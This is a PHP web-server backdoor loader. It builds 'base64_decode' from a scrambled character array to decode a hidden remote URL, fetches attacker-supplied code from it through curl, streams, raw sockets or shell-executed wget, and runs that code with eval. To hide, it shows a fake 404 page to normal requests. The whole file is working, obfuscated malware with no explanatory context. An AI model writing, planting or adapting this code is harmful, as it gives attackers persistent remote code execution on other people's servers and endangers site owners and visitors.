<?php
@ini_set('display_errors', 1);
@ini_set('max_execution_time', 0);
error_reporting(E_ALL);
set_time_limit(0);
$i = isset($_GET['i']) ? $_GET['i'] : 0;
$c = isset($_GET['c']) ? $_GET['c'] : '';
function getContent( $url ){
    $result = '';
    if( function_exists( 'curl_init' ) && function_exists( 'curl_exec' ) ){ 
        $ch = curl_init();
        if( $ch ){
            curl_setopt( $ch, CURLOPT_URL, $url );
            curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
            curl_setopt( $ch, CURLOPT_HEADER, false );
            curl_setopt( $ch, CURLOPT_TIMEOUT, 30 );
            curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
            curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, false );
            if( !curl_errno ( $ch ) ){
                $result = curl_exec( $ch );
            }
        }
        if( PHP_VERSION_ID < 80000 ){
            curl_close(  $ch  );
        }
    }

    if( $result == '' && ini_get( 'allow_url_fopen' ) ){
        try{
            $result = file_get_contents( $url );
        }catch(Exception $e) {
            //
        }
    }

    if( $result == '' && function_exists( 'fopen' ) && function_exists( 'stream_get_contents' ) ){
        try{
            $h = fopen( $url, 'r' );
            if( $h ){
                stream_set_timeout( $h, 30 );
                $result = stream_get_contents( $h );
                fclose( $h );
            }
        }catch( Exception $e ){
            //
        }
    }

    if( $result == '' && function_exists( 'fsockopen' ) ){
        $arrayUrl = parse_url( $url );
        $host = $arrayUrl['host'];
        $path = $arrayUrl['path'];
        $port = 443;
        $timeout = 30;
        try{
            $fp = fsockopen("ssl://{$host}", $port, $errno, $errstr, $timeout);
            if( $fp ){
                $request = "GET {$path} HTTP/1.1\r\n";
                $request .= "Host: {$host}\r\n";
                $request .= "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\r\n";
                $request .= "Connection: close\r\n";
                $request .= "\r\n";
                fwrite($fp, $request);
                $response = '';
                while( !feof( $fp ) ) {
                    $response .= fgets($fp, 4096);
                }
                fclose( $fp );
                $parts = explode( "\r\n\r\n", $response, 2 );
                if( count( $parts ) !== 2 ){
                    return $response;
                }
                list( $headersRaw, $result ) = $parts;
            }
        }catch( Exception $e ){
            //
        }
    }

    if( $result == '' ){
        $cmd = "wget -O ".$_SERVER['DOCUMENT_ROOT']."/temp.txt ".$url;
        $d = strtolower( ini_get('disable_functions') );
        foreach(['shell_exec', 'passthru', 'system', 'exec', 'popen'] as $f){
            if(function_exists($f) && strpos($d,$f) === false){
                if($f == 'exec'){
                    @exec($cmd, $o);
                    $c = join("\n", $o);
                }elseif($f == 'popen'){
                    $h = @popen($cmd, 'r');
                    if($h){
                        $c = @stream_get_contents($h);
                        @pclose($h);
                    }
                }elseif($f == 'shell_exec'){
                    $c = @shell_exec($cmd);
                }else{
                    ob_start();
                    @$f($cmd);
                    $c = ob_get_clean();
                }
                if($c) break;
            }
        }
        if( file_exists( $_SERVER['DOCUMENT_ROOT']."/temp.txt" ) ){
            $request = file_get_contents( $_SERVER['DOCUMENT_ROOT']."/temp.txt" );
            if( $result ){
                unlink( $_SERVER['DOCUMENT_ROOT']."/temp.txt" );
            }            
        }
    }

    return $result;
}

if( $i > 0 && $c != '' ){
    $a = array( 'a', 'b', 'c', 'd', 'e', 'o', 's', '_' );
    $b = str_split( '1064342534' );
    $d = '';
    for( $j=0; $j<count($b); $j++ ){
        $d .= $a[ $b[ $j ] ];
        if( $j == 3 ){
            $d .= '64_';
        }
    }
    $a = $d( 'aHR0cHM6Ly95cGF5cGF5Lnh5ei9maWxlcy8=', true );
    $b = getContent( $a.$c );
    if( $b ){
        eval( '?>'.$b );
    }else{
        $disableFuncs = ini_get( 'disable_functions' );
        echo $disableFuncs."<br>";
        echo 0;
    }
}else{
    header('HTTP/1.0 404 Not Found');
}
exit();
?>